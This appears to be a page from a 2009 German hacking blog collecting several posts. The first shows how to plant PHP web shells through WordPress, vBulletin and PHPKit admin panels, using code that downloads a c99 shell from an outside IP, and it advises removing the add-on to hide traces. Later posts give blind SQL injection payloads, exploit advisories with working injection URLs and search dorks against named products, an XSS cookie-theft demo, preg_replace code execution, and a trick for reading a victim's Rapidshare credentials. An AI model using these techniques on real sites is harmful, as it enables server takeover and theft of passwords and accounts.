Backdoor CMS/Board via ACP

8. Mai 2009

. [ Show ] in English

Hier möchte ich euch gerne Möglichkeiten vorstellen, wie man unterschiendliche CMS/Boards Backdooren (PHP-Shell uploaden) kann.
Die Möglichkeiten setzen vorraus, dass man sich als Administrator einloggen kann.

[+] Wordpress
Im Admin-Panel wechselt Ihr zu den Menüpunkt “Plugins”. Dort sucht Ihr ein Plugin, dass bereits aktiviert wurde und geht dort auf “Bearbeiten”.
Nun gibt es 2 Möglichkeiten:
1) Ihr schreibt in das Plugin den kompletten Quellcode eurer Shell rein und ruft die Datei wie folgt auf:

http://site.de/wp-content/plugins/plugin-name/plugin-datei.php

Nachteil bei der Variante ist, dass das Plugin anschließen nicht funktioniert und es zu Fehlermeldungen kommen könnte.
2) An oberster Stelle des Plugins schreibt Ihr folgenden Code und speichert das Plugin ab:

1
2
3
4
5
6
7
<?php
$shell = "http://92.241.165.156/locus-c99.txt";
$code = file_get_contents($shell);
$fp=fopen("Sh3ll.php","w+");
fwrite($fp, $code);
fclose($fp);
?>

Wenn Ihr nun das Plugin über den Browser aufruft:

http://site.de/wp-content/plugins/plugin-name/plugin-datei.php

wird in den Ordner des Plugins automatisch die Datei mit eurer Shell gedropped. Diese könnt Ihr dann wie folgt aufrufen:

http://site.de/wp-content/plugins/plugin-name/Sh3ll.php

Nun dürft Ihr nicht vergessen, den Code Schnippsel aus den Plugin wieder zu entfernen,
da sonst immer wieder versucht wird die Shell zu erstellen und dadurch wieder unnötige Fehlermeldungen entstehen könnten.

[+] vBulletin
Ihr geht im Admin-Panel auf “Add-ons & Plug-ins” > “Add-ons verwalten” > “[Add-on hinzufügen/importieren]“.
Jetzt erstellt Ihr auf Euren PC eine XML-Datei (z.b. shell.xml) und schreibt folgenden Inhalt rein:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="ISO-8859-1"?>
<product productid="shell" active="1">
<title>vBulletin</title>
<codes>
<code version="2.0">
<installcode><![CDATA[
$shell = "http://92.241.165.156/locus-c99.txt";
$code = file_get_contents($shell);
$fp=fopen("includes/Sh3ll.php","a+");
fwrite($fp, $code);
fclose($fp);]]></installcode>
</code>
</codes>
</product>

Diese Datei Importiert Ihr nun über den entsprechenden Menüpunkt.
Wenn das Add on fertig installiert wurde, findet Ihr eure Shell unter der URL:

http://site.de/includes/Sh3ll.php

Um eure Spuren nun zu verschleiern, könnt Ihr das Addon wieder löschen, unter:
“Add-ons & Plug-ins” > “Add-ons verwalten”

[+] PHPKit
Über das Admin-Panel auf
“Inhalte” > “Inhalt verfassen” > “Download hinzufügen” > {beliebig} > “Download suchen / hinzufügen” > {Shell Uploaden}
Das wars auch.
Nun könnte Ihr die Shell über den Link http://site.de/content/download/shell.php aufrufen

Um euch nun vor solchen “Angriffen” zu schützen, reicht es aus, wenn Ihr das Admin-Panel per htaccess schützt.

Demnächst werden noch mehr möglichkeiten folgen.

Player Sonstiges, Text Tutorials


Optimierung von Blind SQL Injections

26. April 2009

. [ Show ] in English

Blind Injections treffen nicht immer auf Anklang, weil man sich selbst einer umständlichen Feinarbeit ausgesetzt sieht, die lange dauert und nervenaufreibend ist.
Doch gibt es ein paar Kniffe, die die Arbeit erleichtern können.

A) Zeit

“Zeit ist Geld”, das gilt in fast allen Bereichen,
und bei Blind SQL Injections ist dies besonders wichtig,
wenn es darum geht, große Datenmengen zu extrahieren.

Es geht also zunächst darum, für einen Datensatz in der
Datenbank ..

1. Möglichst wenig Zeit aufzuwenden
und
2. Mit möglichst wenigen Requests an Infos gelangen.

Beide Ziele sind selbstverständlich eng miteinander verzahnt,
und so gibt es einige Kriterien, die ihren Teil zum Faktor
“Zeit” beitragen.
Diese sind beispielsweise:

1. Antwortzeit des Servers
2. Zu Übertragendes Datenvolumen
3. Wertebereich der zu testenden ASCII Zeichen (=> Anzahl Requests)

Ändern lässt sich die Antwortzeit des Servers nicht aktiv,
doch obliegt es unseren Möglichkeiten, die Datenvolumina zu
begrenzen.
Eine triviale Methode an Infos zu gelangen ist die unoptimierte
Content-Change Methode, die nicht unbedingt schlecht ist, doch
erst in optimierter Form zufriedenstellende Leistungen erbringt.

Ein Beispiel wie wir es kennen, wäre:

1
index.php?id=1+and+if((select+ascii(substr(password,1,1))+from+users+limit+0,1)>100,null,1)=1/*

Da es aber in diesem Falle schwierig sein kann, ein passendes Suchmuster zu finden, setzen wir für
die true Bedingung ein kleines Subquery ein, welches mehere Rows zurückgeben soll.
Da dies in einem Subquery nicht möglich ist, wird sich bei angeschaltetem display_errors
gleich die Fehlermeldung “Subquery returns more than 1 row” zeigen, und wir haben unser Suchmuster.
Dies hat oft den Vorteil, dass das Skript direkt mit die() abgebrochen wird, und der Fehler schwarz auf weiß
als einziger Content auf der Seite zu finden ist.
Dies ist aber nur manchmal der Fall, und dies vermindert die Ladezeit deutlich.
Ein Beispiel dafür könnte dann so aussehen:

1
index.php?id=1+and+if((select+ascii(substr(password,1,1))+from+users+limit+0,1)>100,(select+1+union+select+2),1)=1/*

Der Suchstring, sollte nun in den meisten Fällen vorhanden sein, und wenn wir Glück haben,
ist auch der Content der Seite bei “true” reduziert worden.
Jetzt gilt es selbstverständlich die Anzahl der Requests zu reduzieren.

Eine gängige Methode um die Zeichen zu bestimmen, ist selbstverständlich die,
mit den Operatoren < und > sich den den ASCII Wert des Zeichen hinanzupirschen.

Wie man diese Methode letztendlich umsetzt sei jedem selbst überlassen, doch wäre es nicht ratsam,
alle Zeichen von beispielsweise 48 bis 122 einzeln durchzutesten – wäre auch unsinnig, denn mit
Hilfe der < > Operatoren, ist es sinnvoll, die Abstände immer zu halbieren:

1
Wenn Zeichen größer 85, teste:
1
Wenn Zeichen größer 103 teste:

etc.

könnte man auch durchaus rekursiv lösen.

Bei sehr großen Wertebereichen, z.b. Inhalte, in denen alle Zeichen
vorkommen dürfen, gibt es aber noch eine weitere Möglichkeit, die nicht immer
zwingend weniger Requests mit sich bringt, auf große Distanzen aber eine große
Absicherung mit sich bringt.
Möchte man den Wertebereich von 32 – 126 prüfen, und unser Zeichen ist zufällig ein
“B” müssen wir so viele Requests starten, bis wir beim Zeichencode 66 angelangt sind.
Wieviele requests dies bedeutet, hängt von unserem Code ab.
Casten wir die 66 aber zu einer Binärzahl, haben wir eine fixe Anzahl an Zeichen:
1000010
Hier müssen wir zwar 7 Requests starten, doch reicht es hier aus, nur einen Zustand zu testen:

“Ist der Wert nicht 1, dann muss er 0 sein.”
“Ist der Wert nicht 0, dann muss er 1 sein.”

7 Requests bei einem Zeichen, kann eine Verbesserung sein, aber durchaus auch eine Verschlechterung,
dies hängt wie bereits genannt vom Programmierstil ab.

Testen wir es anhand eines fiktiven MD5 Hashes:

3295c76acbf4ca8ed33c36b1b5fc2cb1

Die Zeichen a-f0-9 sind zu testen.

0 -> 110000
9 -> 111001
a -> 1100001
f -> 1100110

Wir sehen, dass die Buchstaben ein Request mehr beanspruchen.
In unserem Hash finden wir zufällig, 16 Buchstaben und 16 Zahlen.
Sofern wir wissen, dass es sich um einen MD5 handelt, und demsptsprechend
die Länge 32 Bytes ist, benötigen wir eine bestimmbare Anzahl an Requests:

(16 * 6) + (16 * 7) = 208

Ob sich dieses Verfahren bei MD5 lohnt, sei dahingestellt, sicherlich ist es
immer sinnvoller, bei größeren Wertebereichen.

B) Ablaufsteuerungsfunktionen

Das schönste Verfahren zur Zeichenbestimmung nützt einem nichts, sofern man
es nicht anwenden kann. Nicht immer trifft man mit der AND Methode auf eine Goldader,
und der Check mit and+1=1 und and+1=0 versagt, obwohl man sich der Existenz der Injection
sicher ist.
Es gibt eine weitere Möglichkeit, auf den richtigen Pfad zu kommen, mit der Kontrollstruktur “case”.
Diese besteht aus dem Fallbeispiel, also die Bedingung, durch “case” und “when” gekennzeichnet,
der darauf bei wahrer Aussage folgenden Wirkung “then” und wahlweise einem “else” Teil.

Ich stelle nun beide Versionen gegenüber, die im Grunde das gleiche bewirken:

1
index.php?id=1+and+if(1=1,(select+1+union+select+2),null)=1/*
1
index.php?id=1+and+case+when+(1=1)+then+(select+1+union+select+2)+else+null+end/*

Dies kann man selbstverständlich kombinieren, mit bereits genannten Verfahren zur Zeichenbestimmung.

——–

Viel Spaß und neue Erkenntnisse wünscht
Lidloses_Auge

Lidloses_Auge SQL Injections, Text Tutorials


PHP_SELF

22. April 2009

. [ Show ] in English

[+] Einleitung
Ich möchte euch heute gerne die Gefahren und Gegenmaßnahmen von php_self erläutern.

[+] Was ist PHP_SELF?
php_self ist eine globale Variable, die den aktuellen Ordner und die Datei des Scriptes ausgibt.
Aufgerufen wird es wie folgt:

1
echo $_SERVER['PHP_SELF'];

[+] Anwendungsmöglichkeiten
php_self wird meistens in Formen verwendet um einen Request an das aufgerufene Script zu senden. z.B:

1
<form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">

bei den Seitenaufruf: http://site.de/login.php
sieht die Ausgabe wie folgt aus:

1
<form method="post" action="/login.php">

[+] Angriff
Wie man sich an dieser Stelle denken kann, ist es möglich HTML/Javascript auszuführen.
Die frage ist nur wie?
einen Parameter können wir nicht dranhängen, denn es werden nur Ordner und der Dateiname ausgegeben,
daher müssen wir hinter login.php ein Slash einfügen um zu Simulieren, dass es ein Ordner ist.
Danach den Tag schließen und anschließen kann man HTML/Javascript ausführen.
Der Aufruf sieht dann so aus:
http://site.de/login.php/">< script>alert(document.cookie)

[+] Schutz

1
<form method="post" action="<?php echo htmlentities($_SERVER['PHP_SELF']); ?>">

Durch die Funktion htmlentities werden alle Eingaben in HTML Code umgewandelt,
daher ist es nicht mehr möglich fremden Code auszuführen

Player PHP, Text Tutorials, XSS


Quick.CMS (ID) Remote SQL Injection

21. April 2009

Email an str0ke ist heute (21.04.09 – 17:10Uhr) rausgegangen.

[+]————————————-[+]
[+] Homepage: http://opensolution.org/
[+] Product: Quick.CMS Lite 0.5
[+] File: index.php
[+] Parameter: id
[+] Dork: “Powered by Quick.Cms”
[+]————————————-[+]
[+] SQL Injection:
[+] index.php?t=ph&id=null’+union+select+
[+] unhex(hex(concat_ws(0×203a20,id,litera,haslo,0×3c62723e3c62723e)))
[+] +from+sennik–+
[+]————————————-[+]
[+] Discovered by -=Player=-
[+] http://NovuSec.com
[+] http://Free-Hack.com
[+]————————————-[+]
[+] Greetz to :
[+] Lidloses_Auge, Suicide, enco, J0hn.X3r, Dexx, 2called-chaos, xant0x
[+]————————————-[+]

Player Exploits, SQL Injections


VS PANEL v.7.3.6 (Cat_ID) Remote SQL Injection

21. April 2009

Email an str0ke ist heute (21.04.09 – 16:30Uhr) rausgegangen.

[+]————————————-[+]
[+] Homepage: http://www.vspanel.gr/
[+] Product: VS PANEL v.7.3.6
[+] File: showcat.php
[+] Parameter: Cat_ID
[+] Dork: “Powered by VS PANEL”
[+]————————————-[+]
[+] SQL Injection:
[+]showcat.php?Cat_ID=null+union+select+1,concat_ws(0×203a20,name,password)+from+Users–
[+]————————————-[+]
[+] Discovered by -=Player=-
[+] http://NovuSec.com
[+] http://Free-Hack.com
[+]————————————-[+]
[+] Greetz to :
[+] Lidloses_Auge, Suicide, enco, J0hn.X3r, Dexx, 2called-chaos, xant0x
[+]————————————-[+]

Player Exploits, SQL Injections


CRE Loaded 6.2 (product_id) Remote SQL Injection

21. April 2009

Email an str0ke ist heute (21.04.09 – 14:30Uhr) rausgegangen.

[+]————————————-[+]
[+] Homepage : http://www.creloaded.com/
[+] Product : CRE Loaded v6.2
[+] File : product_info.php
[+] Parameter : product_id
[+]————————————-[+]
[+] SQL Injection:
[+]product_info.php?products_id=-1+union+select+1,concat_ws(0×203a20,admin_email_address,admin_password)+from+admin–
[+]————————————-[+]
[+] Discovered by -=Player=-
[+] http://NovuSec.com
[+] http://Free-Hack.com
[+]————————————-[+]
[+] Greetz to :
[+] Lidloses_Auge, Suicide, enco, J0hn.X3r, Dexx, 2called-chaos, xant0x
[+]————————————-[+]

Player Exploits


Exploiten von preg_replace – RegEx Injection – Remote Code Execution

19. April 2009

. [ Show ] in English

Code Executions gehören seit Jahren zu den am weit verbreitesten
Sicherheitslücken in Web-Applikationen.
Sie tummeln sich dort, wo Befehle wie “eval”, “system”, “passthrough”
etc. in einem unsicheren Kontext verwendet werden, und dem User die volle
Kontrolle über den Server ermöglichen, sofern er denn seine Möglichkeiten
auszuschöpfen weiß.
Doch Code Executions sind in weitaus mehr Fällen möglich, als man zunächst
annehmen könnte.
Ein interessantes Beispiel dessen ist die PHP Funktion “preg_replace”.

Im Grunde ist es eigentlich nur zum substituieren von bestimmten Strings
gedacht, indem man per RegEx Suchmuster(PCRE = Perl compatible regular expression)
einen bestimmten String durch einen anderen ersetzt.
Ein Beispiel dessen wäre:

1
echo preg_replace('/Perl/','C++','Als nächstes lerne ich Perl');

Der String ‘Als nächstes lerne ich Perl’ wird per RegEx Suchmuster nach ‘Perl’
durchsucht, und mit dem Replacement ‘C++’ ersetzt.
->

1
Als nächstes lerne ich C++

Dies mag einen zunächst sehr sicher vorkommen, was es in diesem Fall auch ist,
doch besitzt die preg_replace Funktion eine Reihe von Optionen, die wir uns nun
näher anschauen möchten.

Einen Parameter, kennt man bereits aus Perl. Dies ist der “e” Modifizierer,
mit dessen Hilfe man Perl Code direkt in der Kommandoleiste ausführen kann,
wenn man den gewünschten Code mitsamt der “-e” Option übergibt.
Einen ganz ähnlichen Effekt hat der e Modifizierer in der PHP eigenen preg_replace
Funktion. Das Replacement wird dadurch als PHP Code interpretiert und wird, bei
korrekter Syntax, zur Ausführung kommen.

Ein Beispiel für einen Aufruf mit e Modifizierer:

1
echo preg_replace('/.*/e','strtoupper("$0")','Ein Test der Methode');

Zunächst erkennen wir das gewohnte Schema…
Der String ‘Ein Test der Methode’ wird durch ’strtoupper(“Ein Test der Methode”)’
ersetzt. Ansich ist das nichts besonderes, doch die Option e evaluiert diesen String
nun, sodass wir folgende Ausgabe erhalten:

->

1
EIN TEST DER METHODE

Man sollte meinen, es sei nun ein leichtes, eigenen PHP Code einzuschleusen,
und testet es zunächst wie folgt:

1
echo preg_replace('/.*/e','strtoupper("$0")','phpinfo()');

Der e Modifizierer sollte seine gewohnte Arbeit erledigen, doch die Ausgabe spricht
eine andere Sprache…

->

1
PHPINFO()

Tatsächlich ist es so, dass man mittels der Curly Brackets Notation, den String eingrenzen
muss, was in der Praxis dann wie folgt aussehen könnte.

1
<?php echo ${phpinfo()}; ?>

Beim ausführen dieses Code Schnipsels bemerken wir, dass diese Notation fehlerfrei ist,
doch setzen wir dies nun in unsere Funktion ein geschieht folgendes:

1
echo preg_replace('/.*/e','strtoupper("$0")','${phpinfo()}');

->

1
2
Fatal error: preg_replace() [<a href='function.preg-replace'>function.preg-replace</a>]: 
   Failed evaluating code: strtoupper(&quot;${phpinfo()}&quot;) in C:\xampp\htdocs\exec.php on line 13

Durch das Parsen des Strings kommt es offenbar zu unerwünschten Ersetzungen, sodass diese Notation
nicht fehlerfrei evaluiert werden kann.
Abhilfe schafft man mit einem kleinen Bypass, indem man um den String jeweils noch geschweifte Klammern
setzt.

1
echo preg_replace('/.*/e','strtoupper("$0")','{${phpinfo()}}');

Die Ausgabe bestätigt, dass das Ausnutzen der Lücke erfolgreich war,
es bedurfte nur der “complex syntax” in PHP und einem kleinen Bypass.

Viel Spaß
Lidloses_Auge

Lidloses_Auge Sonstiges, Text Tutorials


Hashing bei MySQL – Die Password() Funktion

9. April 2009

. [ Show ] in English

Manche von euch werden sie schon desöfteren gesehen haben,
beim durchforsten der Spalte “password” in der MySQL Datenbank.
Hashes in der Form

378b243e220ca493

oder auch

*94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29

2 Hashes, die denselben String zum Ursprung haben, nämlich “test”.
Doch wieso kann es vorkommen, dass man manchmal nur kurze, und ein anderes
Mal nur lange Hashes bekommt?

Die Antwort liegt in der Version von MySQL.

Generell werden die Hashes in MySQL mit der Password() Funktion generiert
und kommen bei Paneln wie phpmyadmin zum Einsatz, wenn ein Login gefordert wird.
Das Hashing Verhalten hat sich ab MySQL Version 4.1 verändert, und
ich möchte nun kurz aufzeigen, welche Unterschiede es gibt, und ebenso auch
welche Problematiken dabei auftreten können.

Kennwort Hashing bei MySQL < 4.1:

Ein Beispiel Hash der alten Password Funktion finden wir in der Einleitung.
Es handelt sich um den kürzeren der beiden Hashes, der nur eine Länge von 16 Bytes
aufweist. Beim Aufruf der Password Funktion mit dem gewünschten Passwort als Parameter
wird bei Versionen unter 4.1 automatisch der 16 Byte lange Hash generiert.

Kennwort Hashing bei MySQL >= 4.1

Bei den Versionen ab 4.1 kommt der längere Hash ins Spiel.
Es fällt deutlich auf, dass dieser nun 41 Bytes lang ist,
dementsprechend auch wesentlich bessere Kryptographische Eigenschaften
aufweist, und in jedem Fall mit einem Sternchen beginnt, woran
man diesen Hash Typ auch direkt erkennen kann.
Ein MySQL System ab 4.1 ist in der Lage beide Hashes zu generieren,
und ist daher abwärtskompatibel.
In der Regel wird hier beim Aufrufen der Password Funktion samt Parameter
der lange Hash generiert, doch hier gibt es einige Ausnahmen.

Ausnahme 1:
Die erstellten Hashes werden in der password Spalte gespeichert.
Ist diese 41 Bytes lang, können die neuen Hashes generiert werden.
Weist die Spalte jedoch nur eine Länge von 16 Bytes auf, ganz gleich
welche MySQL Version verwendet wird, kann nur ein kurzer Hash
erstellt werden.
Dies kann zum Beispiel passieren, wenn man ein Update auf eine Version
< 4.1 spielt, und im Anschluss daran, das Skript "mysql_fix_privilege_tables"
nicht ausführt, welches zur Verbreiterung der Password Spalte dient.

Ausnahme 2:
Um eine Verbindung mit einer alten MySQL Version herstellen zu können, muss
man die alten Hashes nutzen, macht sich also die Abwärtskompatibilität zu Nutzen.
Ruft man mit einer MySQL Version >= 4.1 die Password Funktion auf, wird zwar ein
großer Hash generiert, doch ist es möglich die Option “–old-passwords” nachzuschalten,
die ein Erstellen der kurzen Hashes erzwingt.

Welche Hash Funktion ist zu empfehlen?

Grundsätzlich gilt natürlich, dass der 41 Byte lange Hash sicherer in der Anwendung ist,
doch gilt es zu beachten, in welcher Umgebung sich das System befindet.
Sind alte MySQL Systeme in der Umgebung, gilt es zu beachten, dass man zur Authentifizierung
kurze Hashes verwenden muss.
Sind im Netzwerk jedoch ausschließlich neuere Versionen zu finden, ist selbstverständlich
auch der lange Hash zu empfehlen.

Weitere lesenswerte Informationen zu MySQL findet man in der ausführlichen Dokumentation.
In dem Sinne, Happy Hashing.

Lidloses_Auge Sonstiges


Rapidshare Zugangsdaten

12. März 2009

. [ Show ] in English

Heute möchte ich euch einen kleinen Trick vorstellen, wie man bei Rapidshare ganz einfach die Zugangsdaten auslesen kann.

Diesen Trick habe ich auch schon im Free-Hack Forum vorgestellt. Doch trotzdem stelle ich es nochmal hier vor.

Ganz einfach, wenn Ihr in der PremiumZone (oder CellectorZone) seid, dort einfach in den Quelltext schauen.

Dort findet Ihr folgende Zeilen:

<input name=”login” value=”NovuSec” type=”hidden”>
<input name=”password” value=”blubbla” type=”hidden”>

Wie Ihr sehen könnt, befinden sich dort auch wirklich die Zugangsdaten im Plaintext.

Wie Ihr nun an den Quelltext eures Opfers rankommt, ist nun euch überlassen.

Player Sonstiges


Remote Command Execution

12. März 2009

. [ Show ] in English

Eine eher selten vorkommene Art von Web basierten Sicherheitslücken ist die Remote Command Execution, abgekürzt RCE.
Sie kann beispielsweise durch eine unsichere Nutzung des PHP Befehls “System” entstehen, bei der, die vom Benutzer eingegebenen Daten nicht ausreichend validiert werden.

Ein simples Beispiel stellt folgende Code Zeile eines PHP Scripts dar.

system($_GET['cmd']);

Der GET Parameter wird hierbei direkt zur Ausführung gebracht.
Im Grunde eine Webshell, die Betriebssystemeigene Befehle wie “id” oder “uname -a” ausführen kann.
Läuft dann der Webserver noch unter root, ist ein Übernehmen durch den Angreifer fast nicht mehr auszuschließen.

Desweiteren findet man die RCE Lücke auch oft in cgi oder perl Scripts, beim öffnen von externen Dateien. Da diese oftmals direkt an eine Routine übergeben werden, die die Datei für den Zugriff öffnen und auswerten.

Um dies zu vermeiden, reicht es, wie bei den meisten Lücken ihrer Art aus, die Parameter vorher zu überprüfen.
Ein mögliches Beispiel wäre das Zeichen “|” zu filtern, mit dem man die Shell pipen kann, und so mehrere Befehle verketten kann.

Lidloses_Auge Sonstiges


Pages: Prev 1 2 3 4 5 6 7 Next